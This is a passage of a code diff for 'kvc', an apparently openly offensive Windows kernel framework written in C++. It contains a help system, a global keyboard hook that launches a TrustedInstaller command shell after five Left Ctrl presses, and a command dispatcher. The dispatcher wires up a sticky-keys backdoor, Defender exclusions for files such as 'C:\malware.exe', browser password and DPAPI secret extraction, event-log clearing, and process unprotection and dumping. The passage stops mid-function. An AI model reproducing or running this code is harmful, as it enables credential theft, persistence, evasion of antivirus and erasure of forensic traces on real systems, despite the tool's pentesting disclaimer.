printLine(L"trusted cmd", L"Run command as TrustedInstaller");
printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
printLine(L"install-context", L"Add right-click menu entries");
printLine(L"add-exclusion", L"Add current program to exclusions");
printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
printLine(L"add-exclusion Processes cmd.exe", L"Add process to exclusions");
printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions");
printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion");
printLine(L"export secrets", L"Export secrets to Downloads folder");
printLine(L"export secrets C:\\reports", L"Export secrets to specific folder");
std::wcout << L"\n";
}
void HelpSystem::PrintSecurityNotice() noexcept
{
PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
// Critical warning section with red highlighting
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" WARNING: POWERFUL SECURITY RESEARCH TOOL - USE RESPONSIBLY\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
std::wcout << L" CAPABILITIES & REQUIREMENTS:\n";
std::wcout << L" - Kernel driver manipulation with advanced memory access techniques\n";
std::wcout << L" - DPAPI secret extraction (browser passwords, WiFi credentials, certificates)\n";
std::wcout << L" - Windows Defender bypass and exclusion management\n";
std::wcout << L" - System persistence mechanisms (sticky keys backdoor, IFEO techniques)\n";
std::wcout << L" - TrustedInstaller privilege escalation and system-level operations\n";
std::wcout << L" - Process protection manipulation and memory dumping\n";
std::wcout << L" - Registry modifications and service installation capabilities\n\n";
std::wcout << L" TECHNICAL IMPLEMENTATION:\n";
std::wcout << L" - Embedded encrypted kernel driver with steganographic protection\n";
std::wcout << L" - Dynamic driver loading - temporary deployment with automatic cleanup\n";
std::wcout << L" - Administrator privileges required for all security operations\n";
std::wcout << L" - Most operations leave no permanent traces except when explicitly requested\n";
std::wcout << L" - Some commands (shift, install, add-exclusion) make persistent changes\n";
std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n";
SetConsoleTextAttribute(hConsole, originalColor);
std::wcout << L" - Intended for authorized penetration testing and security research only\n";
std::wcout << L" - User assumes full legal responsibility for all actions performed\n";
std::wcout << L" - Ensure proper authorization before using on any system\n";
std::wcout << L" - Misuse may violate computer crime laws in your jurisdiction\n";
std::wcout << L" - This tool can modify system security settings and extract sensitive data\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L" PROFESSIONAL USE GUIDELINES:\n";
SetConsoleTextAttribute(hConsole, originalColor);
std::wcout << L" - Document all activities for security assessments\n";
std::wcout << L" - Use 'unshift' and 'remove-exclusion' commands to clean up after testing\n";
std::wcout << L" - Verify system state before and after testing\n";
std::wcout << L" - Report findings through appropriate responsible disclosure channels\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" By using this tool, you acknowledge understanding and accept full responsibility.\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintFooter() noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
// Top border with blue color
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
// Centered footer content - split into multiple lines
std::wstring line1 = L"Support this project - a small donation is greatly appreciated";
std::wstring line2 = L"and helps sustain private research builds.";
std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/";
std::wstring line4 = L"Professional services: marek@wesolowski.eu.org";
auto printCenteredFooter = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - 2 - textLen) / 2;
if (padding < 0) padding = 0;
// Left border in blue
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
// Text in white
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << text
<< std::wstring(width - 2 - padding - textLen, L' ');
// Right border in blue
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|\n";
};
printCenteredFooter(line1);
printCenteredFooter(line2);
printCenteredFooter(line3);
printCenteredFooter(line4);
// Donation line with colored links
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
// Calculate spacing for PayPal and Revolut
std::wstring paypal = L"PayPal: ";
std::wstring paypalLink = L"paypal.me/ext1";
std::wstring middle = L" ";
std::wstring revolut = L"Revolut: ";
std::wstring revolutLink = L"revolut.me/marekb92";
int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
middle.length() + revolut.length() + revolutLink.length());
int padding = (width - totalLen - 2) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << paypal;
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << paypalLink;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << middle << revolut;
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << revolutLink;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|\n";
// Bottom border
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
// Helper functions for consistent formatting and color management
void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Yellow color for section headers
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L"=== " << title << L" ===\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept
{
const int commandWidth = 50;
std::wcout << L" " << std::left << std::setw(commandWidth)
<< command << L"- " << description << L"\n";
}
void HelpSystem::PrintNote(const wchar_t* note) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Gray color for informational notes
SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
std::wcout << L" " << note << L"\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintWarning(const wchar_t* warning) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Red color for warning messages
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" " << warning << L"\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintBrowserCommands() noexcept
{
PrintSectionHeader(L"Browser Password Extraction Commands");
PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");
PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
PrintNote(L"Requires kvc_pass.exe in current directory");
PrintNote(L"Uses COM elevation for advanced browser encryption");
std::wcout << L"\n";
}

42
kvc/HelpSystem.h Normal file
View File

@@ -0,0 +1,42 @@
#pragma once
#include "common.h"
#include <string_view>
// Comprehensive help system for kvc with modular command documentation
class HelpSystem
{
public:
HelpSystem() = delete;
~HelpSystem() = delete;
// Main help interface
static void PrintUsage(std::wstring_view programName) noexcept;
// Specific help sections
static void PrintHeader() noexcept;
static void PrintBasicCommands() noexcept;
static void PrintProtectionCommands() noexcept;
static void PrintSystemCommands() noexcept;
static void PrintDefenderCommands() noexcept;
static void PrintDPAPICommands() noexcept;
static void PrintBrowserCommands() noexcept;
static void PrintServiceCommands() noexcept;
static void PrintProtectionTypes() noexcept;
static void PrintExclusionTypes() noexcept;
static void PrintPatternMatching() noexcept;
static void PrintTechnicalFeatures() noexcept;
static void PrintDefenderNotes() noexcept;
static void PrintStickyKeysInfo() noexcept;
static void PrintUndumpableProcesses() noexcept;
static void PrintUsageExamples(std::wstring_view programName) noexcept;
static void PrintSecurityNotice() noexcept;
static void PrintFooter() noexcept;
private:
// Helper methods for consistent formatting
static void PrintSectionHeader(const wchar_t* title) noexcept;
static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
static void PrintNote(const wchar_t* note) noexcept;
static void PrintWarning(const wchar_t* warning) noexcept;
};

BIN
kvc/ICON/kvc.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

239
kvc/KeyboardHook.cpp Normal file
View File

@@ -0,0 +1,239 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "KeyboardHook.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h"
#include <algorithm>
// Static members
HHOOK KeyboardHook::m_hookHandle = nullptr;
std::vector<KeyboardHook::KeyPress> KeyboardHook::m_leftCtrlSequence;
std::chrono::steady_clock::time_point KeyboardHook::m_lastKeyTime;
KeyboardHook::KeyboardHook()
{
m_leftCtrlSequence.reserve(SEQUENCE_LENGTH * 2); // Pre-allocate for efficiency
}
KeyboardHook::~KeyboardHook()
{
Uninstall();
}
bool KeyboardHook::Install() noexcept
{
if (m_hookHandle) {
INFO(L"Keyboard hook already installed");
return true;
}
// Install low-level keyboard hook
m_hookHandle = SetWindowsHookEx(
WH_KEYBOARD_LL,
LowLevelKeyboardProc,
GetModuleHandle(nullptr),
0 // Global hook
);
if (!m_hookHandle) {
ERROR(L"Failed to install keyboard hook: %d", GetLastError());
return false;
}
// Initialize tracking state
m_leftCtrlSequence.clear();
m_lastKeyTime = std::chrono::steady_clock::now();
INFO(L"Low-level keyboard hook installed successfully");
INFO(L"Sequence trigger: 5x Left Ctrl within %d ms", SEQUENCE_TIMEOUT_MS);
return true;
}
void KeyboardHook::Uninstall() noexcept
{
if (m_hookHandle) {
if (UnhookWindowsHookEx(m_hookHandle)) {
INFO(L"Keyboard hook uninstalled successfully");
} else {
ERROR(L"Failed to uninstall keyboard hook: %d", GetLastError());
}
m_hookHandle = nullptr;
}
// Clear tracking state
m_leftCtrlSequence.clear();
}
LRESULT CALLBACK KeyboardHook::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// Must call next hook in chain if nCode < 0
if (nCode < 0) {
return CallNextHookEx(m_hookHandle, nCode, wParam, lParam);
}
// Process keyboard event
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* pKeyboard = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
// Check if it's Left Control key
if (pKeyboard->vkCode == VK_LCONTROL) {
bool isKeyDown = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN);
bool isKeyUp = (wParam == WM_KEYUP || wParam == WM_SYSKEYUP);
if (isKeyDown || isKeyUp) {
ProcessLeftCtrlEvent(isKeyDown);
}
}
else {
// Any other key resets the sequence (prevents accidental triggering)
if (!m_leftCtrlSequence.empty()) {
m_leftCtrlSequence.clear();
}
}
}
// Continue processing
return CallNextHookEx(m_hookHandle, nCode, wParam, lParam);
}
void KeyboardHook::ProcessLeftCtrlEvent(bool isKeyDown) noexcept
{
auto now = std::chrono::steady_clock::now();
// Debouncing - ignore events too close together
auto timeSinceLastKey = std::chrono::duration_cast<std::chrono::milliseconds>(now - m_lastKeyTime).count();
if (timeSinceLastKey < DEBOUNCE_MS) {
return;
}
m_lastKeyTime = now;
// Only track key press events (down), ignore key release for simplicity
if (!isKeyDown) {
return;
}
// Add to sequence
m_leftCtrlSequence.push_back({now, isKeyDown});
// Remove old entries outside time window
ClearOldEntries();
// Check if sequence is complete
if (CheckSequenceComplete()) {
INFO(L"5x Left Ctrl sequence detected! Launching TrustedInstaller CMD...");
TriggerTrustedInstallerCmd();
// Clear sequence to prevent repeated triggering
m_leftCtrlSequence.clear();
}
#if kvc_DEBUG_ENABLED
LogSequenceState();
#endif
}
bool KeyboardHook::CheckSequenceComplete() noexcept
{
// Need exactly SEQUENCE_LENGTH key presses
size_t keyPressCount = 0;
for (const auto& entry : m_leftCtrlSequence) {
if (entry.isPress) {
keyPressCount++;
}
}
return keyPressCount >= SEQUENCE_LENGTH;
}
void KeyboardHook::ClearOldEntries() noexcept
{
auto now = std::chrono::steady_clock::now();
auto cutoffTime = now - std::chrono::milliseconds(SEQUENCE_TIMEOUT_MS);
// Remove entries older than timeout
auto it = std::remove_if(m_leftCtrlSequence.begin(), m_leftCtrlSequence.end(),
[cutoffTime](const KeyPress& entry) {
return entry.timestamp < cutoffTime;
});
m_leftCtrlSequence.erase(it, m_leftCtrlSequence.end());
}
void KeyboardHook::TriggerTrustedInstallerCmd() noexcept
{
// Launch CMD with TrustedInstaller privileges
if (LaunchCmdWithTrustedInstaller()) {
SUCCESS(L"TrustedInstaller CMD launched successfully");
} else {
ERROR(L"Failed to launch TrustedInstaller CMD");
}
}
bool KeyboardHook::LaunchCmdWithTrustedInstaller() noexcept
{
try {
// Use existing TrustedInstaller infrastructure
TrustedInstallerIntegrator trustedInstaller;
// Launch cmd.exe with maximum privileges
std::wstring cmdLine = L"cmd.exe";
bool success = trustedInstaller.RunAsTrustedInstaller(cmdLine);
if (success) {
INFO(L"CMD.exe launched with TrustedInstaller privileges via 5x Left Ctrl");
} else {
ERROR(L"Failed to launch CMD.exe with TrustedInstaller privileges");
}
return success;
} catch (const std::exception& e) {
std::string msg = e.what();
std::wstring wmsg(msg.begin(), msg.end());
ERROR(L"Exception launching TrustedInstaller CMD: %s", wmsg.c_str());
return false;
} catch (...) {
ERROR(L"Unknown exception launching TrustedInstaller CMD");
return false;
}
}
void KeyboardHook::LogSequenceState() noexcept
{
if (m_leftCtrlSequence.empty()) {
return;
}
size_t keyPressCount = 0;
for (const auto& entry : m_leftCtrlSequence) {
if (entry.isPress) {
keyPressCount++;
}
}
DEBUG(L"Left Ctrl sequence: %zu/%d presses tracked", keyPressCount, SEQUENCE_LENGTH);
}

50
kvc/KeyboardHook.h Normal file
View File

@@ -0,0 +1,50 @@
#pragma once
#include "common.h"
#include <chrono>
#include <vector>
// Low-level keyboard hook for 5x Left Ctrl sequence detection
class KeyboardHook
{
public:
KeyboardHook();
~KeyboardHook();
KeyboardHook(const KeyboardHook&) = delete;
KeyboardHook& operator=(const KeyboardHook&) = delete;
// Hook management
bool Install() noexcept;
void Uninstall() noexcept;
bool IsInstalled() const noexcept { return m_hookHandle != nullptr; }
// Configuration
static constexpr int SEQUENCE_LENGTH = 5; // 5x Left Ctrl presses
static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; // 2 second window
static constexpr DWORD DEBOUNCE_MS = 50; // Debounce period
private:
// Hook callback
static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
// Sequence tracking
struct KeyPress {
std::chrono::steady_clock::time_point timestamp;
bool isPress; // true for key down, false for key up
};
static HHOOK m_hookHandle;
static std::vector<KeyPress> m_leftCtrlSequence;
static std::chrono::steady_clock::time_point m_lastKeyTime;
// Internal logic
static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept;
static bool CheckSequenceComplete() noexcept;
static void ClearOldEntries() noexcept;
static void TriggerTrustedInstallerCmd() noexcept;
static bool LaunchCmdWithTrustedInstaller() noexcept;
// Debugging and logging
static void LogSequenceState() noexcept;
};

750
kvc/Kvc.cpp Normal file
View File

@@ -0,0 +1,750 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "common.h"
#include "Controller.h"
#include "ServiceManager.h"
#include "HelpSystem.h"
#include <string_view>
#include <charconv>
#include <signal.h>
#include <unordered_map>
#include <algorithm>
// Forward declarations for utility functions
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept;
bool IsNumeric(std::wstring_view str) noexcept;
bool IsHelpFlag(std::wstring_view arg) noexcept;
std::optional<TrustedInstallerIntegrator::ExclusionType> ParseExclusionType(std::wstring_view typeStr) noexcept;
void CleanupDriver() noexcept;
// Global state for signal handling and cleanup
volatile bool g_interrupted = false;
std::unique_ptr<Controller> g_controller = nullptr;
// Signal handler for graceful Ctrl+C cleanup preventing system instability
void SignalHandler(int signal)
{
if (signal == SIGINT && !g_interrupted)
{
g_interrupted = true;
std::wcout << L"\n[!] Ctrl+C detected - emergency cleanup..." << std::endl;
if (g_controller)
{
try
{
g_controller->StopDriverService();
std::wcout << L"[+] Emergency cleanup completed" << std::endl;
}
catch (...)
{
std::wcout << L"[-] Emergency cleanup failed" << std::endl;
}
}
ExitProcess(130);
}
}
// Parse exclusion type from string for enhanced Defender management
std::optional<TrustedInstallerIntegrator::ExclusionType> ParseExclusionType(std::wstring_view typeStr) noexcept
{
static const std::unordered_map<std::wstring, TrustedInstallerIntegrator::ExclusionType> typeMap = {
{L"paths", TrustedInstallerIntegrator::ExclusionType::Paths},
{L"processes", TrustedInstallerIntegrator::ExclusionType::Processes},
{L"extensions", TrustedInstallerIntegrator::ExclusionType::Extensions},
{L"ipaddresses", TrustedInstallerIntegrator::ExclusionType::IpAddresses}
};
std::wstring lowerType(typeStr);
std::transform(lowerType.begin(), lowerType.end(), lowerType.begin(), ::towlower);
auto it = typeMap.find(lowerType);
return (it != typeMap.end()) ? std::make_optional(it->second) : std::nullopt;
}
// Main application entry point with comprehensive command handling
int wmain(int argc, wchar_t* argv[])
{
signal(SIGINT, SignalHandler);
// Service mode detection - MUST BE FIRST to handle NT service startup
if (argc >= 2) {
std::wstring_view firstArg = argv[1];
if (firstArg == L"--service") {
return ServiceManager::RunAsService();
}
}
// Display help if no arguments or help flag provided
if (argc < 2)
{
HelpSystem::PrintUsage(argv[0]);
return 1;
}
std::wstring_view firstArg = argv[1];
if (IsHelpFlag(firstArg))
{
HelpSystem::PrintUsage(argv[0]);
return 0;
}
// Initialize controller for kernel operations
g_controller = std::make_unique<Controller>();
std::wstring_view command = firstArg;
try
{
// Service management commands for advanced deployment scenarios
if (command == L"install")
{
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return 1;
}
INFO(L"Installing Kernel Vulnerability Capabilities Framework service for advanced scenarios...");
bool success = ServiceManager::InstallService(exePath);
return success ? 0 : 1;
}
else if (command == L"uninstall")
{
INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::UninstallService();
return success ? 0 : 1;
}
else if (command == L"service")
{
if (argc < 3) {
ERROR(L"Missing service command. Usage: service <start|stop|status>");
return 1;
}
std::wstring_view serviceCmd = argv[2];
if (serviceCmd == L"start") {
INFO(L"Starting Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::StartServiceProcess();
if (success) {
SUCCESS(L"Service started successfully");
return 0;
} else {
ERROR(L"Failed to start service");
return 1;
}
}
else if (serviceCmd == L"stop") {
INFO(L"Stopping Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::StopServiceProcess();
if (success) {
SUCCESS(L"Service stopped successfully");
return 0;
} else {
ERROR(L"Failed to stop service");
return 1;
}
}
else if (serviceCmd == L"status") {
// Enhanced service status checking with detailed output
INFO(L"Checking Kernel Vulnerability Capabilities Framework service status...");
const bool installed = IsServiceInstalled();
const bool running = installed ? IsServiceRunning() : false;
std::wcout << L"\n";
INFO(L"Service Information:");
INFO(L" Name: %s", ServiceManager::SERVICE_NAME);
INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME);
std::wcout << L"\n";
// Status display with appropriate color coding
if (installed) {
SUCCESS(L"Installation Status: INSTALLED");
if (running) {
SUCCESS(L"Runtime Status: RUNNING");
SUCCESS(L"Service is operational and ready for kernel operations");
INFO(L"The service can be controlled via SCM or kvc commands");
} else {
ERROR(L"Runtime Status: STOPPED");
ERROR(L"Service is installed but not currently running");
INFO(L"Use 'kvc service start' to start the service");
}
} else {
ERROR(L"Installation Status: NOT INSTALLED");
ERROR(L"Service is not installed on this system");
INFO(L"Use 'kvc install' to install the service first");
}
std::wcout << L"\n";
return 0;
}
else {
ERROR(L"Unknown service command: %s", serviceCmd.data());
return 1;
}
}
// Sticky keys backdoor management using IFEO technique
else if (command == L"shift")
{
INFO(L"Installing sticky keys backdoor with Defender bypass...");
return g_controller->InstallStickyKeysBackdoor() ? 0 : 2;
}
else if (command == L"unshift")
{
INFO(L"Removing sticky keys backdoor...");
return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2;
}
// Memory dumping operations with automatic privilege escalation
else if (command == L"dump")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for dump command");
return 1;
}
std::wstring_view target = argv[2];
std::wstring outputPath;
// Use provided output path or default to Downloads folder
if (argc >= 4)
outputPath = argv[3];
else
{
wchar_t* downloadsPath;
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK)
{
outputPath = downloadsPath;
outputPath += L"\\";
CoTaskMemFree(downloadsPath);
}
else
{
outputPath = L".\\";
}
}
// Handle numeric PID or process name with pattern matching
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->DumpProcess(pid.value(), outputPath) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->DumpProcessByName(processName, outputPath) ? 0 : 2;
}
}
// Process information commands with color-coded output
else if (command == L"list")
{
return g_controller->ListProtectedProcesses() ? 0 : 2;
}
else if (command == L"get")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for protection query");
return 1;
}
std::wstring_view target = argv[2];
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->GetProcessProtection(pid.value()) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->GetProcessProtectionByName(processName) ? 0 : 2;
}
}
else if (command == L"info")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for detailed information");
return 1;
}
std::wstring_view target = argv[2];
DWORD targetPid = 0;
std::wstring targetProcessName;
bool protectionResult = false;
// Get process info and analyze dumpability with comprehensive reporting
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
targetPid = pid.value();
targetProcessName = Utils::GetProcessName(targetPid);
protectionResult = g_controller->GetProcessProtection(targetPid);
}
else
{
targetProcessName = std::wstring(target);
auto match = g_controller->ResolveNameWithoutDriver(targetProcessName);
if (match)
{
targetPid = match->Pid;
targetProcessName = match->ProcessName;
protectionResult = g_controller->GetProcessProtection(targetPid);
}
else
{
return 2;
}
}
// Additional dumpability analysis with detailed reasoning
if (protectionResult && targetPid != 0)
{
auto dumpability = Utils::CanDumpProcess(targetPid, targetProcessName);
if (dumpability.CanDump)
{
SUCCESS(L"Process is dumpable: %s", dumpability.Reason.c_str());
}
else
{
ERROR(L"Process is NOT dumpable: %s", dumpability.Reason.c_str());
}
}
return protectionResult ? 0 : 2;
}
// Event log clearing with administrative privileges
else if (command == L"evtclear")
{
return g_controller->ClearSystemEventLogs() ? 0 : 2;
}
// Process protection commands with atomic driver operations
else if (command == L"set" || command == L"protect")
{
if (argc < 5)
{
ERROR(L"Missing arguments: <PID/process_name> <PP|PPL> <SIGNER_TYPE>");
return 1;
}
std::wstring_view target = argv[2];
std::wstring level = argv[3];
std::wstring signer = argv[4];
bool result = false;
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
// 'set' forces protection regardless of current state, 'protect' only protects unprotected processes
result = (command == L"set") ?
g_controller->SetProcessProtection(pid.value(), level, signer) :
g_controller->ProtectProcess(pid.value(), level, signer);
}
else
{
std::wstring processName(target);
result = (command == L"set") ?
g_controller->SetProcessProtectionByName(processName, level, signer) :
g_controller->ProtectProcessByName(processName, level, signer);
}
return result ? 0 : 2;
}
else if (command == L"unprotect")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for unprotection");
return 1;
}
std::wstring_view target = argv[2];
// Handle special 'all' keyword for mass unprotection
if (target == L"all")
{
return g_controller->UnprotectAllProcesses() ? 0 : 2;
}
// Handle comma-separated list of targets for batch operations
std::wstring targetStr(target);
if (targetStr.find(L',') != std::wstring::npos)
{
std::vector<std::wstring> targets;
std::wstring current;
// Parse comma-separated targets with whitespace handling
for (wchar_t ch : targetStr)
{
if (ch == L',')
{
if (!current.empty())
{
targets.push_back(current);
current.clear();
}
}
else if (ch != L' ' && ch != L'\t')
{
current += ch;
}
}
if (!current.empty())
targets.push_back(current);
return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2;
}
// Handle single target (PID or process name)
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->UnprotectProcess(pid.value()) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->UnprotectProcessByName(processName) ? 0 : 2;
}
}
// System integration commands with TrustedInstaller privileges
else if (command == L"trusted")
{
if (argc < 3)
{
ERROR(L"Missing command argument for elevated execution");
return 1;
}
// Combine all remaining arguments into full command with proper escaping
std::wstring fullCommand;
for (int i = 2; i < argc; i++)
{
if (i > 2) fullCommand += L" ";
fullCommand += argv[i];
}
return g_controller->RunAsTrustedInstaller(fullCommand) ? 0 : 2;
}
else if (command == L"install-context")
{
return g_controller->AddContextMenuEntries() ? 0 : 1;
}
// Enhanced Windows Defender exclusion management with type specification
else if (command == L"add-exclusion")
{
if (argc < 3) {
ERROR(L"Missing arguments for exclusion. Usage: add-exclusion [TYPE] <value> or add-exclusion <path>");
return 1;
}
// New syntax with type specification: kvc add-exclusion Processes malware.exe
if (argc >= 4) {
std::wstring_view typeStr = argv[2];
std::wstring value = argv[3];
auto exclusionType = ParseExclusionType(typeStr);
if (!exclusionType) {
ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data());
return 1;
}
return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1;
}
// Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe
else {
std::wstring filePath = argv[2];
return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1;
}
}
else if (command == L"remove-exclusion")
{
if (argc < 3) {
